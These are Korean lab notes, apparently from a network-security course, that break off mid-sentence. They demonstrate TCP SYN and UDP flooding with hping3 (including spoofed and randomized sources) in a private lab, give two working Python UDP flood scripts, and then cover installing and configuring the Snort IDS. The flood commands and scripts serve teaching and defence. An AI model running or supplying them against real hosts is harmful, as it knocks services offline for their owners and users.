[root@victim3 ~]# tcpdump -i ens33 icmp -nn
:
:(생략)
15:01:51.210373 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 50670, length 8
15:01:51.210374 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 50926, length 8
15:01:51.210375 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 50926, length 8
15:01:51.210407 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 51182, length 8
15:01:51.210437 IP 200.200.200.2 > 200.200.200.6: ICMP echo reply, id 16223, seq 51182, length 8
15:01:51.210439 IP 200.200.200.6 > 200.200.200.255: ICMP echo request, id 16223, seq 51438, length 8
TCP 상태 천이 다이어그램
https://cafe.naver.com/linuxmasternet/1813
실습> TCP SYN Flooding
Attacker가 Victim에게 TCP SYN 패킷을 무수히 보내서 Victim에 부하가 걸리게 하는 공격이다.
1. 웹서버 시작
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# iptables -F
[root@victim3 ~]# systemctl start httpd
공격자 패킷을 분석하기 위해서 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
2. 첫 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -S -c 10000 -p 80 200.200.200.6
공격에 의해서 서버는 부하가 걸린다.
3. 두 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-a: Source IP Address Spoofing
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -a 200.200.200.1 -S -c 10000 -p 80 --flood 200.200.200.6
호스트 OS에서 작업관라자 > 성능 > VMnet8을 모니터링 한다.
패킷 처리량의 그래프의 변화되는 것을 확인한다.
4. 세 번째 공격 시도
네트워크 상태를 모니터링한다.
[root@victim3 ~]# netstat -nat 1
들어오는 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
--rand-source: IP주소 랜덤화 (실제 외부로 SYN/ACK 패킷을 보내기 때문에 5초만 테스트 한다.)
[root@kali ~]# hping3 --rand-source -S -c 10000 -p 80 --flood 200.200.200.6
HPING 200.200.200.6 (eth0 200.200.200.6): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
328467 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
real 0m5.460s
user 0m0.119s
sys 0m5.225s
실제 공격자의 SYN 패킷을 받은 경우 아래와 같다.
IP주소를 spoofing해서 들어왔기 때문에 SYN_RECV 가 표시가 된다.
[root@web#1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 200.200.200.6:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.6:80 250.20.167.163:5231 SYN_RECV
tcp 0 0 200.200.200.6:80 248.68.2.209:5121 SYN_RECV
tcp 0 0 200.200.200.6:80 248.99.235.222:1865 SYN_RECV
tcp 0 0 200.200.200.6:80 254.205.162.178:1848 SYN_RECV
tcp 0 0 200.200.200.6:80 245.140.235.186:5717 SYN_RECV
tcp 0 0 200.200.200.6:80 245.196.51.236:4441 SYN_RECV
tcp 0 0 200.200.200.6:80 248.230.17.222:3632 SYN_RECV
tcp 0 0 200.200.200.6:80 243.115.64.192:4992 SYN_RECV
tcp 0 0 200.200.200.6:80 243.179.3.209:4969 SYN_RECV
tcp 0 0 200.200.200.6:80 243.234.6.41:2088 SYN_RECV
tcp 0 0 200.200.200.6:80 254.93.123.236:1918 SYN_RECV
tcp 0 0 200.200.200.6:80 254.85.149.68:3675 SYN_RECV
tcp 0 0 200.200.200.6:80 245.216.68.129:2675 SYN_RECV
tcp 0 0 200.200.200.6:80 255.123.96.245:1733 SYN_RECV
tcp 0 0 200.200.200.6:80 244.232.20.236:2900 SYN_RECV
tcp 0 0 200.200.200.6:80 250.15.220.236:5140 SYN_RECV
tcp 0 0 200.200.200.6:80 243.163.126.156:6257 SYN_RECV
tcp 0 0 200.200.200.6:80 250.43.34.241:2516 SYN_RECV
tcp 0 0 200.200.200.6:80 243.68.29.156:5299 SYN_RECV
tcp 0 0 200.200.200.6:80 243.148.98.19:2734 SYN_RECV
tcp 0 0 200.200.200.6:80 241.86.115.213:1785 SYN_RECV
tcp 0 0 200.200.200.6:80 242.48.206.213:7245 SYN_RECV
tcp 0 0 200.200.200.6:80 243.135.29.251:4129 SYN_RECV
tcp 0 0 200.200.200.6:80 241.251.213.6:1837 SYN_RECV
tcp 0 0 200.200.200.6:80 248.236.25.20:1622 SYN_RECV
tcp 0 0 200.200.200.6:80 254.113.227.113:5180 SYN_RECV
tcp 0 0 200.200.200.6:80 254.130.228.205:4737 SYN_RECV
tcp 0 0 200.200.200.6:80 245.84.227.89:1669 SYN_RECV
tcp 0 0 200.200.200.6:80 243.71.56.186:2770 SYN_RECV
tcp 0 0 200.200.200.6:80 255.140.86.219:1619 SYN_RECV
tcp 0 0 200.200.200.6:80 241.110.22.71:4538 SYN_RECV
tcp 0 0 200.200.200.6:80 255.231.21.248:2390 SYN_RECV
tcp 0 0 200.200.200.6:80 255.10.251.61:4758 SYN_RECV
tcp 0 0 200.200.200.6:80 241.96.228.211:2496 SYN_RECV
tcp 0 0 200.200.200.6:80 243.162.255.194:3332 SYN_RECV
tcp 0 0 200.200.200.6:80 244.121.110.243:2111 SYN_RECV
tcp 0 0 200.200.200.6:80 241.3.78.236:5015 SYN_RECV
tcp 0 0 200.200.200.6:80 241.96.17.250:4592 SYN_RECV
tcp 0 0 200.200.200.6:80 248.89.96.17:3745 SYN_RECV
tcp 0 0 200.200.200.6:80 254.2.135.194:2910 SYN_RECV
tcp 0 0 200.200.200.6:80 254.40.175.145:2487 SYN_RECV
tcp 0 0 200.200.200.6:80 248.248.99.29:1963 SYN_RECV
tcp 0 0 200.200.200.6:80 255.230.61.254:3305 SYN_RECV
tcp 0 0 200.200.200.6:80 245.192.44.153:1520 SYN_RECV
tcp 0 0 200.200.200.6:80 254.41.198.123:1605 SYN_RECV
tcp 0 0 200.200.200.6:80 243.157.255.228:4802 SYN_RECV
tcp 0 0 200.200.200.6:80 255.80.234.235:4307 SYN_RECV
tcp 0 0 200.200.200.6:80 255.41.15.219:2983 SYN_RECV
tcp 0 0 200.200.200.6:80 245.225.78.98:5600 SYN_RECV
tcp 0 0 200.200.200.6:80 248.183.126.43:1889 SYN_RECV
tcp 0 0 200.200.200.6:80 241.128.59.129:4423 SYN_RECV
tcp 0 0 200.200.200.6:80 250.21.135.50:3592 SYN_RECV
tcp 0 0 200.200.200.6:80 254.135.80.178:2498 SYN_RECV
tcp 0 0 200.200.200.6:80 243.46.236.82:5595 SYN_RECV
tcp 0 0 200.200.200.6:80 248.80.103.68:2873 SYN_RECV
tcp 0 0 200.200.200.6:80 251.136.207.202:6260 SYN_RECV
tcp 0 0 200.200.200.6:80 245.231.209.110:3945 SYN_RECV
tcp 0 0 200.200.200.6:22 200.200.200.1:25785 ESTABLISHED
tcp 0 0 200.200.200.6:22 200.200.200.1:25101 ESTABLISHED
tcp 0 0 200.200.200.6:22 200.200.200.1:25554 ESTABLISHED
tcp6 0 0 ::1:53 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::8888 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
tcp6 0 0 ::1:953 :::* LISTEN
tcp6 0 0 ::1:6010 :::* LISTEN
tcp6 0 0 ::1:6011 :::* LISTEN
tcp6 0 0 ::1:6012 :::* LISTEN
tcp6 0 0 :::111 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
^C
실습> 파이썬 프로그램으로 패킷 확인하기
[root@victim ~]# iptables -F
[root@victim ~]# iptables -A INPUT -p tcp --dport 80 -j ACCEPT
[root@victim ~]# yum -y install python3
[root@victim ~]# vi iptablesTest.py
#!/usr/bin/env python3
# 파일명: iptablesTest.py
# 프로그램 설명: iptables 모니터링
# 작성자: 리눅스마스터넷
# 작성일: 2023031601
import subprocess
# import os
# os.system('명령어')
# import subprocess
# subprocess.call('명령어')
# 변수 설정
count = 1
cmd = 'clear; iptables -nvL INPUT; sleep 1'
# cmd = 'watch iptables -nvL INPUT'
# 트래픽 초기화
subprocess.call('iptables -Z', shell=True)
while 1:
try:
subprocess.call(cmd, shell=True)
# Ctrl + C 가 발생되면
#except KeyboardInterrupt:
except: # 또 다른 예외가 발생되서 모두 처리함.
print()
break
count += 1
#print('count: %d' %count)
#print('count: {}'.format(count))
print(f'count: {count}')
[root@victim ~]# chmod 755 iptablesTest.py
[root@victim ~]# ./iptablesTest.py
[root@kali ~]# hping3 -S -c 10000 -p 80 --flood 200.200.200.6
[root@victim ~]# ./iptablesTest.py
:
:(생략)
Chain INPUT (policy ACCEPT 22 packets, 976 bytes)
pkts bytes target prot opt in out source destination
1151K 46M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
^C
count: 23
실습> TCP SYN flooding 공격 확인하기
1. 웹페이지 생성
[root@victim3 ~]# echo Welcome to 200.200.200.6 Serer. > /var/www/html/index.html
2. 웹사이트 접속
공격자가 공격을 하지 않은 경우
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.
공격자가 공격을 한 경우
테스트를 위해서 syncookies 를 비활성화 시킨다.
[root@victim3 ~]# echo 0 > /proc/sys/net/ipv4/tcp_syncookies
[root@victim3 ~]# iptables -F
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
사용하지 않는 IP주소인 200.200.200.200으로 스푸핑해서 접속을 시도한다.
-S: SYN
-c 10000: 패킷 10,000개
-p 80: 80번 포트
--flood: 최대한 빠르게
200.200.200.6: victim
-a 200.200.200.200: 출발지 IP주소 200.200.200.200 스푸핑
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.6 -a 200.200.200.200
TCP 상태를 확인하면 SYN_RECV가 출력되는 것을 확인할 수 있다.
[root@victim3 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 200.200.200.6:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6013 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 200.200.200.6:80 200.200.200.200:2911 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2104 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2502 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2032 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2029 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2683 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2685 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2783 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2928 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2722 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2499 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2501 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2555 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:2109 SYN_RECV
tcp 0 0 200.200.200.6:80 200.200.200.200:3772 SYN_RECV
:
:(생략)
load average: 시스템의 부하를 나타내는 평균값으로 1분, 5분, 15분 단의의 평균값을 표시한다.
[root@victim3 ~]# w
12:44:04 up 3:54, 5 users, load average: 0.63, 0.46, 0.25
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 08:53 3:50m 0.01s 0.01s -bash
root pts/0 200.200.200.1 12:39 4.00s 0.08s 0.05s w
root pts/1 200.200.200.1 09:46 1:48 17.18s 16.97s tcpdump -i ens33 port 80 -nn
root pts/2 200.200.200.1 10:16 2:07m 0.03s 0.03s -bash
root pts/3 200.200.200.1 10:37 6:28 0.65s 0.00s sleep 1
tcpdump로 패킷을 확인해보면 200.200.200.200으로 패킷이 들어오는 것을 확인할 수 있다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
:
:(생략)
12:51:14.865460 IP 200.200.200.200.24512 > 200.200.200.6.80: Flags [S], seq 11378400, win 512, length 0
12:51:14.865509 IP 200.200.200.200.24513 > 200.200.200.6.80: Flags [S], seq 1397149784, win 512, length 0
12:51:14.865513 IP 200.200.200.200.24514 > 200.200.200.6.80: Flags [S], seq 1533344206, win 512, length 0
12:51:14.865565 IP 200.200.200.200.24519 > 200.200.200.6.80: Flags [S], seq 742954563, win 512, length 0
12:51:14.865570 IP 200.200.200.200.24520 > 200.200.200.6.80: Flags [S], seq 682209371, win 512, length 0
12:51:14.865641 IP 200.200.200.200.24525 > 200.200.200.6.80: Flags [S], seq 1930252330, win 512, length 0
12:51:14.865646 IP 200.200.200.200.24526 > 200.200.200.6.80: Flags [S], seq 1353693199, win 512, length 0
12:51:14.865647 IP 200.200.200.200.24527 > 200.200.200.6.80: Flags [S], seq 604095803, win 512, length 0
12:51:14.865648 IP 200.200.200.200.24528 > 200.200.200.6.80: Flags [S], seq 1010262610, win 512, length 0
12:51:14.865691 IP 200.200.200.200.24529 > 200.200.200.6.80: Flags [S], seq 1009856538, win 512, length 0
12:51:14.865703 IP 200.200.200.200.24530 > 200.200.200.6.80: Flags [S], seq 1254281219, win 512, length 0
12:51:14.865706 IP 200.200.200.200.24531 > 200.200.200.6.80: Flags [S], seq 983991207, win 512, length 0
syncookies 가 Off로 설정되어 있어서 바로 서버에서 받아들일 수 없는 상태가 된다.
http://200.200.200.6/
사이트에 연결할 수 없음200.200.200.6에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.
연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT
3. 시각화 확인
호스트 OS에서 작업관리자 > 성능
CPU, 이더넷의 처리량을 확인한다.
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.1 -a 200.200.200.200
4. 복구
테스트가 완료되면 sync cookies 를 다시 활성화시킨다.
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies=1
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies
net.ipv4.tcp_syncookies = 1
syncookies 기능이 On으로 설정한 후 서버로 접속하면 서버에서 받아들일 수 상태이므로 웹 페이지가 바로 뜬다.
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.
실습> udp flooding
UDP flooding: 대역폭 고갈 공격
1. 공격 시도
[root@kali ~]# hping3 200.200.200.1 -a 200.200.200.200 -p 80 --udp --flood
2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.
실습> 파이썬으로 udp flooding 제작하기
1. 공격 코드 작성
[root@kali ~]# vi udpFlooding.py
#!/usr/bin/env python3
# 파일명: udpFlooding.py
# 작성자: 리눅스 마스터넷
import socket
import random
import sys
# arguments count
argc = len(sys.argv)
if argc != 3:
print(f'Usage: {sys.argv[0]} TargetIP Port')
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 1
banner = """\
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print(banner)
try:
while 1:
s.sendto(bytes, (target, port))
print(f'sent packets: {count}\r', end='')
count += 1
except:
print()
[root@kali ~]# chmod 755 udpFlooding.py
[root@kali ~]# ./udpFlooding.py
Usage: ./udpFlooding.py TargetIP Port
[root@kali ~]# ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
sent packets: 190158
2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.
CPU 100%
3. 패킷 전송 중지
[root@kali ~]# time ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
^Cnt packets: 11633065
real 10m38.861s
user 0m59.160s
sys 9m17.567s
실습> 멀티 쓰레드로 변환하기
참고 소스 udpFlooding.py -> udpFlooding2.py
1. 공격 코드 작성
[root@kali ~]# vi udpFlooding2.py
#!/usr/bin/env python3
# 파일명: udpFlooding2.py
# 작성자: 리눅스 마스터넷
import socket
import random
import sys
# arguments count
argc = len(sys.argv)
if argc != 3:
print(f'Usage: {sys.argv[0]} TargetIP Port')
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
# V 블럭 -> >
def udpFlooding():
banner = """\
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
"""
count = 1
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print(banner)
print(target, port)
try:
while 1:
s.sendto(bytes, (target, port))
print(f'sent packets: {count}\r', end='')
count += 1
except:
print()
import threading
attack1 = threading.Thread(target=udpFlooding) # sub thread
attack2 = threading.Thread(target=udpFlooding) # sub thread
attack1.start()
attack2.start()
udpFlooding() # main thread
2. 시각화 확인
호스트 OS에서 작업관리자 > 성능 > CPU, 이더넷의 처리량을 확인한다.
CPU 100%
3. 공격 시도
[root@kali ~]# ./udpFlooding2.py 200.200.200.1 80
>>> bps, cps, BPS, pps 용어 <<<
bps(bit per second)
초당 전송되는 bit수, 2048kbps = 2048000bits의 데이터 전송을 의미
BPS(Byte per second)
초당 전송되는 Byte수, 2048kbps는 초당 2048000bits / 8 = 256000Bytes의 데이터 전송을 의미
cps(character per second)
초당 전송되는 Character(문자)의 수(한 문자는 8bits) BPS와 같은 의미
pps(Packet Per Second)
네트워크 성능 측정 단위, 1초 동안 보낼 수 있는 패킷 측정
1 Mbps 는 1,048,576 bps
2,048,000 bps 는 약 2 Mbps
1K (킬로) = 1024 -> 2의 10승
1M (메가) = 1024 * 1024 ->2의 20승
1G (기가) = 1024 * 1024 * 1024 ->2의 30승
💥💥💥💥💥💥💥💥
##########
📌 snort 📌
##########
참고 : https://ko.wikipedia.org/wiki/스노트
https://ko.wikipedia.org/wiki/호스트_기반_침입_탐지_시스템
IDS 종류 : NIDS, HIDS
-NIDS(네트워크 기반 IDS): 네트워크에 설치해서 지나가는 패킷들을 모두 검사
-HIDS(호스트 기반 IDS): 호스트에 설치해서 호스트로 들어온 패킷들을 모두 검사
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후
동일한 룰셋을 다운받을 수 있다.)
Community rules : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다.
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.
local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상 : 사용자가 탐지 규칙을 설정할 때 만들어서 사용
실습> Kali에서 snort 설치하기
[root@kali ~]# cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 168.126.63.1
Kali Linux update & upgrade
[root@kali ~]# apt-get -y update && apt-get -y upgrade && apt-get -y dist-upgrade
1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort
[root@kali ~]# which snort
/usr/sbin/snort
[root@kali ~]# snort --help
USAGE: snort [-options] <filter options>
Options:
-A Set alert mode: fast, full, console, test or none (alert file alerts only)
"unsock" enables UNIX socket logging (experimental).
2. snort 룰 등록
[root@kali ~]# vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
3. snort 실행
/etc/snort/snort.conf : snort 의 설정파일
[root@kali ~]# vi /etc/snort/snort.conf
ipvar HOME_NET any
ipvar EXTERNAL_NET any
snort를 실행하기 전에 설정파일에 문제가 있는지 테스트한다.
-T : 설정파일 체크
설정파일에 문제가 없는 경우에는 successfully 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf
:
:(생략)
Snort successfully validated the configuration!
Snort exiting
설정파일에 문제가 없는 경우에는 Fatal Error 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf
Running in Test mode
--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"
ERROR: /etc/snort/snort.conf(65) Invalid configuration line: abc
Fatal Error, Quitting..
snort를 실행해서 침입탐지 시스템을 가동한다.
-i : 인터페이스
-c : 설정파일
[root@kali ~]# snort -i eth0 -c /etc/snort/snort.conf
:
:(생략)
4. ping 통신 확인
C:\Users\user1>ping 200.200.200.3
5. 접속 로그 확인
/var/log/snort/ 로그 디렉터리에 snort.alert.fast 파일에 기록된다.
[root@kali ~]# tail -f /var/log/snort/snort.alert.fast
03/02-21:31:04.205588 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:04.205603 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:05.221719 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:05.221734 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:06.238199 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:06.238217 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
03/02-21:31:07.249867 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:31:07.249883 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -> 200.200.200.1
룰을 변경해서 로그를 확인한다.
[root@kali ~]# vi /etc/snort/rules/local.rules
#alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000005;)
[root@kali ~]# tail -f /var/log/snort/snort.alert.fast
[root@kali ~]# snort -q -i eth0 -c /etc/snort/snort.conf
C:\Users\user1>ping 200.200.200.3
Ping 200.200.200.3 32바이트 데이터 사용:
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.3에 대한 Ping 통계:
패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
최소 = 0ms, 최대 = 0ms, 평균 = 0ms
[root@kali ~]# tail -f /var/log/snort/snort.alert.fast
03/02-21:37:04.198855 [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:05.216602 [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:06.233063 [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
03/02-21:37:07.245918 [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.3
실습> snort HIDS 기반 리눅스 설치
배포판: CentOS 7
VMname: snortHIDS
VMnetwork: VMnet8
HDD: 기본값 20G
파티션: 자동 파티션
IP Address: 200.200.200.101/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[x] Automatically connect
-- 실습 순서 --
1. EPEL 저장소 설치
2. 패키지 설치
3. 패키지 확인
4. snort 다운로드
5. 컴파일 및 설치
6. 설치 확인
7. rule 다운로드
8. 설정파일 수정
9. 사용자 계정 추가 및 권한설정
10. 룰 주석 설정
11. snort 설정 확인
12. 룰 설정 확인
13. 로그 확인
-- 실습 순서 --
*** 만약 CentOS 7 에서 설치하는 것은 http://snort.org 홈페이지에서 설치에 대한
*** 내용을 참고하면 된다.
*** 메인 -> Get Started -> CentOS
-- iptables 룰 정책 --
# systemctl stop firewalld
# systemctl disable firewalld
# systemctl stop iptables
# systemctl disable iptables
-- iptables 룰 정책 --
1. EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
# yum -y install epel-release
2. 패키지 설치
snort 를 설치하기 위한 필요한 패키지를 설치한다.
# yum -y install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump
# yum -y install libpcap-devel libdnet libnet-devel
3. 패키지 확인
패키지들의 설치여부를 확인한다.
설치여부를 확인할 때 패키지가 설치되어 있지 않습니다라는 메세지가 나오면 설치를 해야한다.
# rpm -q gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump
4. snort 다운로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있음.
winscp로 아래 두 개의 파일을 리눅스 /root 디렉터리로 업로드한다.
daq-2.0.6.tar.gz
snort-2.9.11.1.tar.gz
5. 컴파일 및 설치
/root 디렉터리에서 다운로드 받아서 설치를 진행한다.
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용
현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어서 시간을 설정한다.
# yum -y install rdate
# rdate -s time.bora.net
# tar xzf daq-2.0.6.tar.gz
# cd daq-2.0.6
# ./configure && make && make install
# cd ..
# tar xzf snort-2.9.11.1.tar.gz
# cd snort-2.9.11.1
# ./configure --enable-sourcefire && make && make install
# cd ..
# ls -l /usr/local/bin
합계 10312
-rwxr-xr-x. 1 root root 600 3월 17 12:06 daq-modules-config
-rwxr-xr-x. 1 root root 10483104 3월 17 12:08 snort
-rwxr-xr-x. 1 root root 26408 3월 17 12:08 u2boat
-rwxr-xr-x. 1 root root 36872 3월 17 12:08 u2spewfoo
6. 설치 확인
# snort -V
,,_ -*> Snort! <*-
o" )~ Version 2.9.11.1 GRE (Build 268)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
Using libpcap version 1.5.3
Using PCRE version: 8.32 2012-11-30
Using ZLIB version: 1.2.7
DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv
7. rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후
동일한 룰셋을 다운받을 수 있다.)
Community rules : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다.
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.
/etc/snort 디렉터리를 생성한다.
# mkdir /etc/snort
# cd /etc/snort
# cp ~/snort-2.9.11.1/etc/* .
snort 사이트에서 community rules 파일을 다운로드 받는다.
# yum -y install wget
# wget https://www.snort.org/downloads/community/community-rules.tar.gz
# tar xzf community-rules.tar.gz
룰 디렉토리를 생성한다.
# mkdir rules
화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
